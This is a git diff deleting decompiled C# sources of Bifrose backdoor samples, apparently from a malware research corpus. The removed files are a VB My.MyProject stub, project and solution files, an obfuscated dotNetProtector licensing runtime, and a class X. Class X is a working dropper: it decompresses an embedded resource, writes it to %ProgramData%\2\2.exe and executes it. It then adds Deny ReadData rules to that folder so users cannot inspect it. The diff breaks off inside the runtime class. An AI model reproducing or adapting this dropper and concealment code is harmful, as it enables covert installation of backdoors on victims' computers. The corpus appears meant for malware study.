@@ -1,108 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: My.MyProject
-// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.ApplicationServices;
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.ComponentModel.Design;
-using System.Diagnostics;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace My
-{
- [StandardModule]
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- [HideModuleName]
- internal sealed class MyProject
- {
- private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider();
-
- [HelpKeyword("My.Computer")]
- internal static MyComputer Computer
- {
- [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.Application")]
- internal static MyApplication Application
- {
- [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.User")]
- internal static User User
- {
- [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.WebServices")]
- internal static MyProject.MyWebServices WebServices
- {
- [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
- }
-
- [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal sealed class MyWebServices
- {
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public override int GetHashCode() => base.GetHashCode();
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal new Type GetType() => typeof (MyProject.MyWebServices);
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override string ToString() => base.ToString();
-
- [DebuggerHidden]
- private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance;
-
- [DebuggerHidden]
- private void Dispose__Instance__(ref T instance) => instance = default (T);
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public MyWebServices()
- {
- }
- }
-
- [ComVisible(false)]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal sealed class ThreadSafeObjectProvider where T : new()
- {
- internal T GetInstance
- {
- [DebuggerHidden] get
- {
- if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null)
- MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T();
- return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue;
- }
- }
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public ThreadSafeObjectProvider()
- {
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/X.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/X.cs
deleted file mode 100644
index 59b504e5..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/X.cs
+++ /dev/null
@@ -1,92 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: X
-// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.Collections;
-using System.IO;
-using System.IO.Compression;
-using System.Reflection;
-using System.Resources;
-using System.Security.AccessControl;
-using System.Security.Principal;
-
-internal class X
-{
- [STAThread]
- public static void main()
- {
- byte[] bytes = X.Z(X.Z((byte[]) new ResourceManager("M", Assembly.GetExecutingAssembly()).GetObject("A")));
- string Path = Interaction.Environ("programdata") + "\\2";
- string str = Path + "\\2.exe";
- try
- {
- FileSystem.MkDir(Path);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- X.BD(ref Path);
- File.WriteAllBytes(str, bytes);
- Interaction.Shell(str);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public static byte[] Z(byte[] Byt)
- {
- MemoryStream memoryStream = new MemoryStream(Byt);
- GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress);
- byte[] buffer = new byte[4];
- memoryStream.Position = checked (memoryStream.Length - 5L);
- memoryStream.Read(buffer, 0, 4);
- int int32 = BitConverter.ToInt32(buffer, 0);
- memoryStream.Position = 0L;
- byte[] array = new byte[checked (int32 - 1 + 1)];
- gzipStream.Read(array, 0, int32);
- gzipStream.Dispose();
- memoryStream.Dispose();
- return array;
- }
-
- public static void BD(ref string Path)
- {
- DirectorySecurity accessControl1 = Directory.GetAccessControl(Path, AccessControlSections.All);
- try
- {
- foreach (FileSystemAccessRule accessRule in (ReadOnlyCollectionBase) accessControl1.GetAccessRules(true, true, typeof (NTAccount)))
- {
- try
- {
- DirectorySecurity accessControl2 = Directory.GetAccessControl(Path, AccessControlSections.All);
- FileSystemAccessRule rule = new FileSystemAccessRule((IdentityReference) new NTAccount(Strings.Split(accessRule.IdentityReference.Value, "\\")[1]), FileSystemRights.ReadData, AccessControlType.Deny);
- accessControl2.AddAccessRule(rule);
- Directory.SetAccessControl(Path, accessControl2);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- finally
- {
- IEnumerator enumerator;
- if (enumerator is IDisposable)
- (enumerator as IDisposable).Dispose();
- }
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/AssemblyInfo.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/AssemblyInfo.cs
deleted file mode 100644
index b19cc14e..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/AssemblyInfo.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-using System;
-using System.Reflection;
-using System.Runtime.InteropServices;
-using System.Security.Permissions;
-
-[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")]
-[assembly: AssemblyFileVersion("1.0.0.0")]
-[assembly: ComVisible(false)]
-[assembly: AssemblyProduct("Cursor")]
-[assembly: AssemblyDescription("1")]
-[assembly: AssemblyTrademark("")]
-[assembly: AssemblyCopyright("Copyright © 2010")]
-[assembly: AssemblyTitle("Cursor")]
-[assembly: AssemblyCompany("")]
-[assembly: CLSCompliant(true)]
-[assembly: AssemblyVersion("1.0.0.0")]
-[assembly: SecurityPermission(SecurityAction.RequestMinimum, UnmanagedCode = true)]
-[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/Backdoor.Win32.Bifrose.fsi.csproj b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/Backdoor.Win32.Bifrose.fsi.csproj
deleted file mode 100644
index e9214654..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/Backdoor.Win32.Bifrose.fsi.csproj
+++ /dev/null
@@ -1,121 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}
- WinExe
- Cursor
- 1.0.0.0
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
- true
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
- true
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/Backdoor.Win32.Bifrose.fsi.sln b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/Backdoor.Win32.Bifrose.fsi.sln
deleted file mode 100644
index ff248073..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/Backdoor.Win32.Bifrose.fsi.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.csproj", "{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/PvLogiciels/dotNetProtector/RuntimeInterop.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/PvLogiciels/dotNetProtector/RuntimeInterop.cs
deleted file mode 100644
index d447fda0..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/PvLogiciels/dotNetProtector/RuntimeInterop.cs
+++ /dev/null
@@ -1,651 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: PvLogiciels.dotNetProtector.RuntimeInterop
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using \u0081é;
-using \u0082\u00BC;
-using õ;
-using System;
-using System.Collections;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.Reflection;
-using System.Runtime.InteropServices;
-using System.Text;
-
-namespace PvLogiciels.dotNetProtector
-{
- public class RuntimeInterop : IRuntime
- {
- internal Assembly[] ò;
- internal Assembly \u0081\u00BD;
- internal string \u0082\u00B4;
-
- private static unsafe byte* Ô(Assembly _param0) => (byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer();
-
- internal RuntimeInterop() => this.ò = new Assembly[0];
-
- internal unsafe Assembly \u0081â(IntPtr _param1)
- {
- int id = AppDomain.CurrentDomain.Id;
- byte* numPtr = (byte*) \u0082\u00BB.\u00B7(_param1.ToPointer());
- if ((IntPtr) numPtr == IntPtr.Zero)
- return (Assembly) null;
- IntPtr ptr = (IntPtr) (void*) numPtr;
- _param1 = ptr;
- int num1 = Marshal.ReadInt32(ptr);
- int length1 = Marshal.ReadInt32(_param1, 4);
- int length2 = Marshal.ReadInt32(_param1, 8);
- IntPtr source1 = (IntPtr) (void*) (numPtr + 12);
- IntPtr source2 = (IntPtr) (void*) (numPtr + length1 + 12);
- byte[] numArray = new byte[length1];
- byte[] destination = numArray;
- int length3 = length1;
- Marshal.Copy(source1, destination, 0, length3);
- Assembly assembly;
- if (length2 != 0)
- {
- byte[] rawSymbolStore = new byte[length2];
- Marshal.Copy(source2, numArray, 0, length2);
- assembly = Assembly.Load(numArray, rawSymbolStore);
- }
- else
- assembly = Assembly.Load(numArray);
- Marshal.FreeCoTaskMem(_param1);
- if ((object) assembly != null && num1 >= 0)
- {
- Type[] types = assembly.GetTypes();
- IntPtr num2 = types[types.Length - 1].TypeHandle.Value;
- \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(assembly.GetLoadedModules()[0]).ToPointer(), num2.ToPointer(), num1, id);
- }
- return assembly;
- }
-
- internal static unsafe void Î(Assembly _param0)
- {
- string assemblyString = PvLogiciels.dotNetProtector.Runtime.GetAssemblyString(_param0);
- IntPtr ptr = IntPtr.Zero;
- if (assemblyString != (string) null)
- ptr = Marshal.StringToCoTaskMemAnsi(assemblyString);
- \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(), (void*) 0, (int*) 0, (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
- if (!(ptr != IntPtr.Zero))
- return;
- Marshal.FreeCoTaskMem(ptr);
- }
-
- public virtual Assembly GetEntryAssembly()
- {
- if ((object) \u0081ê.\u0081\u0099 != null)
- return \u0081ê.\u0081\u0099;
- Assembly entryAssembly = Assembly.GetEntryAssembly();
- if ((object) entryAssembly != null)
- {
- \u0081ê.\u0081\u0099 = entryAssembly;
- return entryAssembly;
- }
- Assembly executingAssembly = Assembly.GetExecutingAssembly();
- if (executingAssembly.FullName.StartsWith("PvLogiciels.dotNetProtector.Runtime"))
- return (Assembly) null;
- \u0081ê.\u0081\u0099 = executingAssembly;
- return executingAssembly;
- }
-
- public static IRuntime InitRuntime()
- {
- RuntimeInterop runtimeInterop = new RuntimeInterop();
- if (AppDomain.CurrentDomain.IsDefaultAppDomain())
- {
- AppDomain.CurrentDomain.ProcessExit += new EventHandler(RuntimeInterop.AppDomain_ProcessExit);
- return (IRuntime) runtimeInterop;
- }
- AppDomain.CurrentDomain.DomainUnload += new EventHandler(new \u0081Þ(AppDomain.CurrentDomain, AppDomain.CurrentDomain.Id).\u0081\u0084);
- return (IRuntime) runtimeInterop;
- }
-
- public static void AppDomain_ProcessExit(object sender, EventArgs e)
- {
- GC.Collect();
- GC.WaitForPendingFinalizers();
- \u0082\u00BB.\u0081\u0086();
- }
-
- public virtual void NGenInitRuntime()
- {
- }
-
- public virtual ulong GetComputerHash() => \u0082\u00BB.\u0081\u008C();
-
- public virtual long GetMacAddress() => \u0082\u00BB.Ç();
-
- public virtual ulong GetBiosHash() => \u0082\u00BB.Ï();
-
- public virtual int UnloadDomain() => \u0082\u00BB.\u0095(AppDomain.CurrentDomain.Id);
-
- public virtual unsafe int InitModule(Type pReserved1, IntPtr pReserved2, string Reserved3)
- {
- IntPtr ptr = IntPtr.Zero;
- if (Reserved3 != (string) null)
- ptr = Marshal.StringToCoTaskMemAnsi(Reserved3);
- IntPtr num1 = pReserved1.TypeHandle.Value;
- int num2 = \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), num1.ToPointer(), (int*) pReserved2.ToPointer(), (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
- if (ptr != IntPtr.Zero)
- Marshal.FreeCoTaskMem(ptr);
- if (num2 == 2)
- {
- this.\u0081\u00BD = pReserved1.Assembly;
- this.\u0082\u00B4 = pReserved1.Assembly.GetName().Name;
- int length = \u0082\u00BB.\u0081\u009B();
- if (length != 0)
- {
- this.ò = new Assembly[length];
- int index = 0;
- if (0 < length)
- {
- do
- {
- this.ò[index] = (Assembly) null;
- ++index;
- }
- while (index < length);
- }
- }
- }
- return num2;
- }
-
- public virtual unsafe string DesignLicenseKey(Type pReserved1, string pReserved2)
- {
- IntPtr ptr = Marshal.AllocCoTaskMem(IntPtr.Size);
- IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(pReserved2);
- \u0082\u00BB.Ý((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), (sbyte**) ptr.ToPointer());
- IntPtr num = Marshal.ReadIntPtr(ptr);
- string str = (string) null;
- if (num != IntPtr.Zero)
- {
- string stringAnsi = Marshal.PtrToStringAnsi(num);
- Marshal.FreeHGlobal(num);
- str = stringAnsi;
- }
- Marshal.FreeCoTaskMem(ptr);
- if (!(coTaskMemAnsi != IntPtr.Zero))
- return str;
- Marshal.FreeCoTaskMem(coTaskMemAnsi);
- return str;
- }
-
- [return: MarshalAs(UnmanagedType.U1)]
- public virtual unsafe bool SameSoftware(Assembly pReserved, IntPtr pSoft, ulong SwMajor)
- {
- int num;
- if (\u0082\u00BB.\u0081\u00A5((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pSoft.ToPointer(), SwMajor, &num) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return num != 0;
- }
-
- [return: MarshalAs(UnmanagedType.U1)]
- public virtual unsafe bool IsLicensed(Assembly pReserved, string licenseKey, [MarshalAs(UnmanagedType.U1)] bool usb)
- {
- IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(licenseKey);
- int num1 = usb ? 1 : 0;
- int num2 = \u0082\u00BB.\u0081ª((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), num1);
- if (coTaskMemAnsi != IntPtr.Zero)
- Marshal.FreeCoTaskMem(coTaskMemAnsi);
- return num2 != 0;
- }
-
- public virtual unsafe int HardwareScore(Assembly pReserved, ulong HwConfig1, ulong HwConfig2)
- {
- int num;
- if (\u0082\u00BB.\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), HwConfig1, HwConfig2, &num) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return num;
- }
-
- public virtual unsafe IntPtr GenProductKey(
- Assembly pReserved,
- IntPtr pKeys,
- uint LicenseID,
- ulong data)
- {
- sbyte* numPtr;
- if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, data, &numPtr) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) numPtr;
- }
-
- public virtual unsafe IntPtr GenProductKey(
- Assembly pReserved,
- IntPtr pKeys,
- uint LicenseID)
- {
- sbyte* numPtr;
- if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, &numPtr) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) numPtr;
- }
-
- public virtual unsafe uint GetLicenseId(Assembly pReserved, IntPtr pProductKey)
- {
- uint licenseId;
- if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &licenseId) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return licenseId;
- }
-
- public virtual unsafe ulong GetProductkeyData(Assembly pReserved, IntPtr pProductKey)
- {
- uint num;
- ulong productkeyData;
- if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &num, &productkeyData) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return productkeyData;
- }
-
- public virtual unsafe IntPtr DecodeActivationString(
- Assembly pReserved,
- IntPtr pKeys,
- IntPtr pActivationString)
- {
- byte* numPtr;
- if (\u0082\u00BB.\u0081Ä((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), (sbyte*) pActivationString.ToPointer(), &numPtr) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) numPtr;
- }
-
- public virtual unsafe IntPtr EncodeActivationRequest(Assembly pReserved, IntPtr preq)
- {
- sbyte* numPtr;
- if (\u0082\u00BB.Ã((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), preq.ToPointer(), &numPtr) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) numPtr;
- }
-
- public virtual unsafe IntPtr GetConfig(
- Assembly pReserved,
- uint LicenseID,
- ushort ActivationDuration)
- {
- sbyte* config;
- if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, &config) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) config;
- }
-
- public virtual unsafe IntPtr GetConfig(
- Assembly pReserved,
- uint LicenseID,
- ushort ActivationDuration,
- IntPtr pAssemblyFile)
- {
- sbyte* config;
- if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (sbyte*) pAssemblyFile.ToPointer(), &config) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) config;
- }
-
- public virtual unsafe IntPtr GetConfig(
- Assembly pReserved,
- uint LicenseID,
- ushort ActivationDuration,
- AssemblyName Name)
- {
- string name = Name.Name;
- byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
- GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
- IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
- sbyte* config;
- int num2 = \u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &config);
- gcHandle.Free();
- if (num2 == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) config;
- }
-
- public virtual unsafe string GetThumbPrint(Assembly pReserved)
- {
- \u0081Ï ï;
- if (\u0082\u00BB.\u0081\u00D7((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (byte*) &ï) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- StringBuilder stringBuilder = new StringBuilder();
- int num = 0;
- do
- {
- // ISSUE: cast to a reference type
- // ISSUE: explicit reference operation
- stringBuilder.Append(string.Format("{0:x}", (object) ^(byte&) (num + (IntPtr) &ï)).PadLeft(2, '0'));
- ++num;
- }
- while (num < 20);
- return stringBuilder.ToString();
- }
-
- public virtual unsafe byte[] GetConfigForDemo(Assembly pReserved)
- {
- uint length;
- byte* numPtr;
- if (\u0082\u00BB.\u0081\u00B4((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &length, &numPtr) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- byte[] destination = new byte[(int) length];
- IntPtr num = (IntPtr) (void*) numPtr;
- Marshal.Copy(num, destination, 0, (int) length);
- Marshal.FreeCoTaskMem(num);
- return destination;
- }
-
- public virtual unsafe IntPtr GetUsbConfig(
- Assembly pReserved,
- uint LicenseID,
- ushort ActivationDuration,
- ulong UsbHash,
- ulong UsbIdentity)
- {
- sbyte* usbConfig;
- if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, &usbConfig) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) usbConfig;
- }
-
- public virtual unsafe IntPtr GetUsbConfig(
- Assembly pReserved,
- uint LicenseID,
- ushort ActivationDuration,
- ulong UsbHash,
- ulong UsbIdentity,
- IntPtr pAssemblyFile)
- {
- sbyte* usbConfig;
- if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (sbyte*) pAssemblyFile.ToPointer(), &usbConfig) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) usbConfig;
- }
-
- public virtual unsafe IntPtr GetUsbConfig(
- Assembly pReserved,
- uint LicenseID,
- ushort ActivationDuration,
- ulong UsbHash,
- ulong UsbIdentity,
- AssemblyName Name)
- {
- string name = Name.Name;
- byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
- GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
- IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
- sbyte* usbConfig;
- int num2 = \u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &usbConfig);
- gcHandle.Free();
- if (num2 == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) usbConfig;
- }
-
- public virtual unsafe IntPtr GenerateLicense(
- Assembly pReserved,
- IntPtr pKeys,
- IntPtr preq)
- {
- sbyte* license;
- if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &license) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) license;
- }
-
- public virtual unsafe IntPtr GenerateLicense(
- Assembly pReserved,
- IntPtr pKeys,
- IntPtr preq,
- int tolerance,
- [MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
- long RuntimeLicensesLimit)
- {
- sbyte* license;
- if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &license) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) license;
- }
-
- public virtual unsafe IntPtr GenerateUsbLicense(
- Assembly pReserved,
- IntPtr pKeys,
- IntPtr preq)
- {
- sbyte* usbLicense;
- if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &usbLicense, (byte) 0) == 0)
- throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
- return (IntPtr) (void*) usbLicense;
- }
-
- public virtual unsafe IntPtr GenerateUsbLicense(
- Assembly pReserved,
- IntPtr pKeys,
- IntPtr preq,
- int tolerance,
- [MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
- long RuntimeLicensesLimit)
- {
- sbyte* usbLicense;
